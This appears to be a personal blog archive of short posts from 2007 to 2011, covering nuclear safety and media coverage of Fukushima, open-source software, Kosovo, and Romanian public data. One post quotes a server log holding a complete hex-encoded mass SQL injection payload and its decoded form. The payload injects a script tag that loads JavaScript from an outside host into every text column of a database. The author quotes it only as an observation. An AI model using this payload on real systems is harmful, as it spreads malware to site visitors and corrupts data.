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The largest nuclear reactor nearby

2011-03-31T10:18:00Z

All life on earth is dependent upon the energy that comes from the Sun. This giver of life is surprisingly also the largest nuclear reactor that still has an ‘effect’ on life on this planet. Without it there would be nothing but a baren rock or not even that its gravity is prerequisite for planetary formation. Perhaps a gaseous nebula, a shapeless cloud of dust & hydrogen.

Every second the Sun gives out an average energy output of 3.86 * 10 ^ 26 Joules. That is 386 followed by twenty four zeroes. Note that only a minuscule fraction falls upon the illuminated side of the Earth, and even less gets trough the atmosphere and clouds. One Joule (J) per second is one Watt (W) , so the total output of the sun is 3.86 * 10 ^ 26 W or 3.86 * 10 ^ 20 MW.

This awesome display happens at an average distance of 149 million kilometers from earth (89 million miles). Our planet has an elliptical orbit so the distance from this huge energy release is sometimes more sometimes less.

Fearmongers are spreading FUD about how many people live within 150 miles of a nuclear powerplant, with the implied notion that sooner or latter we will all be wiped out in a nuclear holocaust. To be fair simple distance is not a good approximation, for reasons that are far too obvious. But lets compute be ignorant of design issues, flood & seismological risks, unparalleled safety record of the industry and just count the Dumb Distance Risk Factor (DDRF)

Take the largest commercial powerplant the Kashiwazaki-Kariwa installation with total output of 7965 MW. At 150 miles this would yield 53.1 DDRF. Same computed for the Sun from 89 million miles distance would yield 4.33 * 10 ^ 12 DDR .

In light of this I don’t get how some so called “green” activists claim that nuclear reactors are not safe. Their scientific ignorance coupled with dumb interpretation of data, ideological cherry picking of information yields results equally dumb danger calculations as my done above.

Plutonium is less deadly than caffeine when ingested

2011-03-28T15:12:00Z

Dr. Michio Kaku spreading FUD on live TV:

Plutonium is the most toxic chemical known to science. A speck of plutonium, a millionth of a gram, could cause, cancer if it’s ingested. So this has to be looked at very carefully. If there is a full abandonment of the reactor site, if they abandon ship, we could be in free fall.

Perhaps Doctor you should keep to string theory (a currently untestable field sadly) instead of venturing to verifiable claims over “most toxic chemical known to science”. This myth was most notably promoted by Ralph Nader, who upon being challenged by Bernard Cohen (currently Professor Emeritus of Physics at the University of Pittsburgh) to eat as much caffeine as he would eat plutonium oxide had backed out.

Professor Cohen has a lengthy treatise on the actual toxicity of plutonium, both when ingested and when inhaled. Latter is a more dangerous proposal but still very far from most dangerous material known to man. Similar position was taken by the EPA and International Commission on Radiological Protection among many others. The scientific data for this was based on 25 Manhattan project workers who had accidentally inhaled it, lung cancer rates downwind of the atomic test sites in Nevada and animal experiments conducted on mice. Latter where particularly difficult due to the high density of plutonium (nearly twice as that of lead) resulting in quick settling.

Bad Journalism Wall of Shame

2011-03-22T08:30:00Z

Japan got hit by a magnitude 9 quake, then followed by a terrible tsunami of +10 meters causing an havoc and destruction on a scale too difficult to imagine. Yet the bulk of the focus and on the Japan coverage went to a nuclear plant, one of the older ones operating in Japan and the only one having problems. And even that one considering the double whammy far exceeding the design specifications, 7 times larger insofar the quake was and almost twice as high for the subsequent tsunami, behaved surprisingly well: with timely automatic shutdown, battery operated pumps doing their service till they ran out.

What followed was a set of events no doubt played out by a prepared action list with operators struggling to first prevent damage to the installation, then to limit the scope of the accident. So far they are doing a terrific job considering the general chaos the natural disaster had caused around them. Certainly it can be done better and lessons will be learned & propagated to other installations, but the media’s portrayal of this event is clearly lacking. Most people don’t understand radiation, their apocalyptic fears are way blown out of proportion. The media instead of making use of this fear to capture most readers, should instead educate.

That means no articles without at least an expert’s opinion. And by expert I mean someone with an actual degree in nuclear physics instead of Greenpeace facilitators specialized in nuclear criticism whose credentials are a BA from Wageningen Agricultural University in environmental communication sciences. Come one BBC sure you have higher standards and can do better! I would have also expected Greenpeace to do better, but I’ve long lost faith in honesty of their organization.

And btw when you have an expert, don’t try to downplay the voice of reason with with linguistic butchery. Watch the headlines and stop comparing to Chernobyl. By the way when Chernobyl happened the constant fear-mongering had caused a spike of tens of thousands of voluntary abortions in Western Europe as documented by latter medical journals. Experts agree that all of these were unnecessary … just in case you thought shabby journalistic practices have no lasting effects.

Andrew Woolner, a long time resident in Japan, took similar outrage a bit further and started to a list with all instances of subpar reporting in recent days:

Journalist Wall of Shame

This Wall of Shame is being assembled by various people, many of whom are on the ground in Japan as residents, not temporarily assigned journalists, who are sick of the sensationalist, overly speculative, and just plain bad reporting that has gone on since the Tohoku quake in Japan last Friday (March 11). We feel that contacting each and every publication and reporter every time a bad report shows up is not effective, and it is our sincere hope that this will encourage journalists to aspire to a higher (some would say minimal) level of responsibility in their reports. If you would like to add a report of your own, feel free.

Take of your nuclear glasses and observe & report on the very real human suffering caused by nature!

Front wrap cross carry

2009-03-20T19:35:00Z

Just sharing a pic of my son Andor sleeping in a wrap. After my wife carried him for nine months it was the first time for me feeling him in my artificial pouch. To our delight Andor finds the experience very calming.

Script kiddies

2008-08-09T06:40:00Z

Just tailing the production log when I hit a series of:

Completed in 0.00428 (233 reqs/sec) | Rendering: 0.00351 (82%) | DB: 0.00000 (0%) | 200 OK [http://getharvest.com/platform?';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);]

that translates to

DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Rest assured it does not work, just sad to see people wasting time on such destructive behavior.

All washed out

2008-07-24T10:49:00Z

<font face='Georgia, Times New Roman, Times, serif' style='color:black; font-size: 14pt;'> Your Linguistic Profile: </font>

<center></center> <font color='#000000'> 55% General American English

25% Yankee

15% Dixie

0% Midwestern

0% Upper Midwestern </font>

What Kind of American English Do You Speak?

Quality demotivator

2008-05-12T10:37:00Z

L'escalier du diable

2008-05-04T15:15:00Z

Kosovo

2008-02-18T19:58:00Z

I’ve congratulate them for their new found independence. Failure to communicate and reach a sensible comprise between the Serbs and Kosovo-Albanians had made Sunday’s declaration inevitable. They were repressed by the Serbs in a most brutal way and in the last ten years they had nothing but a straining struggle.

Most of Europe shows clear signs for recognizing their independence, albeit a few notable exceptions exist: Bulgaria, Cyprus, Greece, Slovakia, Spain, Romania and Russia. Now you just have to wonder what makes certain countries predisposed to deny the freedom of distant third one?

How come each of these (more or less) recognizes the right to self determination as fundamental right, some even preach it proudly in their own history books when discussing their own independence. Yet they can all vehemently oppose the overwhelming desire of the people of Kosovo. There is lot of fear to be found in them, all derived from subconsciously drawn parallels with themselves and the Serbs. Their subconscious now generates fear that if persisted will just hinder healthy communication that would have made Kosovo a non-issue in the first place.

I feel strongly that eventually Kosovo will get recognized by all Europe, becoming a lesson on how communication is imperative. On how use of force, be it military or not just increases opposition. But most importantly it will be a recognition on how embracing our collective diversity can only yield benefits to be reaped by all of us.

Innotek to be aquired by Sun

2008-02-14T08:26:00Z

The press release and the coveted prize. In the last year VirtualBox had made my life infinitively simpler. Superb for making setup experiments with multiple nodes, before trying it out live. Makes my day even on the rare occasions I’ve need to boot a legacy operating system. Great for trying out new distros, progress on KDE4 development etc. VirtualBox starts them up blazingly fast. All the best to the Innotek team and hope this latests development will propel their product further.

Please do your homework

2008-02-11T12:02:00Z

Before starting a grandiose list like The Top 50 Proprietary Programs that Drive You Crazy — and Their Open Source Alternatives. I don’t get this obsession with round numbers? I find it hard to believe that 50 software packages were checked and they all got better alternatives. Especially after bitting the bullet and trying out Archimedes the replacement for Autocad (btw this is not the defacto tool for architects). Or Authorize.net to OpenSSL I wonder how can you replace one with another? Why not try to compile an end to end usable list?

This is the exact problem with the web, there are so many voices that it is difficult to find real value amongst the noise.

Dispelling Myths On FLOSS

2008-01-16T19:13:00Z

An EU study on Free/Libre/Open Source Software while not necessarily reflecting the views of the European Commission does have some interesting findings:

Proprietary packaged software firms account for well below 10% of employment of software developers in the U.S., and “IT user” firms account for over 70% of software developers employed with a similar salary (and thus skill) level. This suggests a relatively low potential for cannibalisation of proprietary software jobs by FLOSS, and suggests a relatively high potential for software developer jobs to become increasingly FLOSS- related. FLOSS and proprietary software show a ratio of 30:70 (overlapping) in recent job postings indicating significant demand for FLOSS-related skills.

So much for “eating our lunch” myth.

FLOSS potentially saves industry over 36% in software R&D investment that can result in increased profits or be more usefully spent in further innovation.

Observe the “imitation instead of innovation” myth sinking.

Firms have invested an estimated Euro 1.2 billion in developing FLOSS software that is made freely available. Such firms represent in total at least 565 000 jobs and Euro 263 billion in annual revenue. Contributing firms are from several non-IT (but often ICT intensive) sectors, and tend to have much higher revenues than non-contributing firms.

Makes you think about the “sharing destroys competitive advantage” myth.

The existing base of quality FLOSS applications with reasonable quality control and distribution would cost firms almost Euro 12 billion to reproduce internally. This code base has been doubling every 18-24 months over the past eight years, and this growth is projected to continue for several more years.

Tomorrow it will be even tougher to ignore than today.

On CVSEmacs again

2008-01-14T11:12:00Z

After spending a few years on CVSEmacs waiting for the 22th release and a few months of actually using it I’m on Emacs latest again. I’m pleasantly surprised to find the “not even alpha version” quality surprisingly high … no crashes or lockups in the last month. At least compared to other projects Emacs developers seem to have significantly different standards. Kudos to them.

Good by Zed

2008-01-02T11:52:00Z

You will be missed, no doubt you are skilled and knowledgeable as Mongrel weighs in heavily. Likewise no doubt that Rails the community and the framework has its flaws, you just can’t see the explosive growth we had while keeping everything pink.

Still you might want to work on your ego, as it overshadows your accomplishments. Don’t spill poison in a well just because you do not want to drink from it anymore. You’ll end up with a bias against you irrespective of the future community you’ll work in.

Online business - romanian state version

2007-12-29T12:45:00Z

While the private sphere faces true challenges doing true work and providing true value (you get the picture) some state funded online businesses just give me the creeps. If you are happy to live in country where small transparent government “for the people” has real meaning no point reading further. Personally I doubt that you are as all countries have similar problems albeit some to a lesser extent. Try find one or two issues like this in you local system instead of just being dismissive about it.

The first pick for my asshole list is:

http://recom.onrc.ro

They are selling detailed company statistics collected at the taxpayers expense. First there is the paycheck of bureaucrat to “digitize” data, then there is the waisted time by company owner having to report on an arcane interface. Anyway given that law requires the company to report this data, and that taxpayers fund the collecting feels awfully strange to charge for it.

Second pick goes to:

http://www.inmh.ro

Selling meteorological data series – yearly average temperature, yearly average wind speeds, yearly sunshine hours etc. All important data when you need to size your home heating equipment, determine economically viable insulation levels, window to wall ratios and other non-construction related uses. Again they have collected this data from taxpayer funding, so why not put them up on their site for all to see. Clearly there is no hosting issues here since these (yearly averages) barely would consume more data than some of the images they have on their homepage?

I give an especially large malus point for failing to share the price of these “products” instead you have phone them in to make an inquiry. So much for transparency.

(...) I could continue this further but in the spirit of keeping the end-of-year mood up and happy I’ll just stop now.

UPDATE: You can find meteorological series with excellent depth from NASA covering the entire globe, freely.